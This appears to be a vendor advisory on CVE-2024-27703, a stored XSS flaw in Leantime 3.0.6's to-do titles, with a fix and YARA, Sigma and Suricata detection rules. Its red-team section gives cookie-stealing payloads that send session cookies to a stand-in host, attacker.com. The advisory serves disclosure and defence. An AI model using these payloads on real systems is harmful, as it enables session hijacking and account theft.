CVE-2024-27703

Executive Summary

CVE-2024-27703 identifies a stored Cross-Site Scripting (XSS) vulnerability in Leantime version 3.0.6. An authenticated remote attacker can inject arbitrary JavaScript code via the "to-do title" parameter. When the malicious to-do item is viewed by other users, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise of the Leantime instance. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

Leantime is a PHP-based project management application. The vulnerability resides in the application's own codebase, not in a third-party package. However, organizations using Leantime should verify the integrity of their deployment and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – the attacker sends a crafted request.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid user account.
• User Interaction (UI): None (N) – the victim does not need to perform any action beyond viewing the to-do.
• Scope (S): Changed (C) – the vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure possible.
• Integrity (I): Low (L) – limited ability to modify data.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The application fails to properly sanitize or encode user-supplied input in the "to-do title" field before storing it in the database and later rendering it in the browser.

Attack Flow:

1. Attacker logs into Leantime with a valid account.
2. Attacker creates a new to-do item and sets the title to a malicious payload, e.g., <img src=x onerror=alert('XSS')>.
3. The payload is stored in the database without sanitization.
4. When any user (including administrators) views the to-do list, the browser renders the malicious title, executing the injected script.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding when rendering the to-do title in the view layer. The application likely uses echo $title; instead of echo htmlspecialchars($title, ENT_QUOTES, 'UTF-8');.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and the required fix.

Vulnerable Code (PHP):

// In a view file (e.g., todoItem.php)
<div class="todo-title">
    <?php echo $todo->title; ?>
</div>

Patched Code (PHP):

<div class="todo-title">
    <?php echo htmlspecialchars($todo->title, ENT_QUOTES, 'UTF-8'); ?>
</div>

The fix ensures that any HTML special characters in the title are encoded, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Leantime 3.0.6.
• Valid user credentials (e.g., user:password).

Exploitation Steps:

1. Log in to Leantime.
2. Navigate to a project and click "Add To-Do".
3. In the "Title" field, enter the following payload:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

4. Save the to-do item.
5. Wait for an administrator or other user to view the to-do list. The script will execute, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual to-do titles containing <script>, <img onerror>, or other HTML event handlers.
• Review web server logs for requests to /api/todos or similar endpoints with suspicious payloads in the title parameter.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/api/todos/*" AND method=POST
| rex field=form_data "title=(?<title>[^&]+)"
| search title IN ("*<script*", "*<img*", "*onerror*", "*onload*")
| table _time, src_ip, user, title

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to Leantime to-do pages.
• Host:
  • To-do items in the database with titles containing HTML tags or JavaScript.
  • Web server logs showing POST requests to /api/todos with encoded XSS payloads.
• File:
  • No specific file-based IOCs; the attack is data-driven.

Detection Engineering

YARA Rule

rule CVE_2024_27703_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Leantime to-do titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27703"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /onmouseover\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Leantime Stored XSS via To-Do Title
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in Leantime to-do creation requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        method: 'POST'
        uri|contains: '/api/todos'
    keywords:
        - '<script'
        - '<img'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in to-do titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27703 Leantime Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/todos"; http_uri;
    content:"title="; http_client_body;
    pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-27703;
)

Remediation & Mitigation

Immediate Actions:

1. Disable to-do creation for untrusted users until a patch is applied.
2. Implement a WAF rule to block requests containing <script, onerror, or similar patterns in the title parameter.
3. Review existing to-do items for suspicious titles and remove them.

Long-Term Fix:

• Apply output encoding (e.g., htmlspecialchars() in PHP) to all user-supplied data rendered in HTML.
• Use a Content Security Policy (CSP) header to restrict script execution.
• Conduct a full security audit of the application's input handling.

Patch Status: No official patch is available. Monitor the Leantime GitHub repository for updates.

Valters IT
Securing Digital Frontiers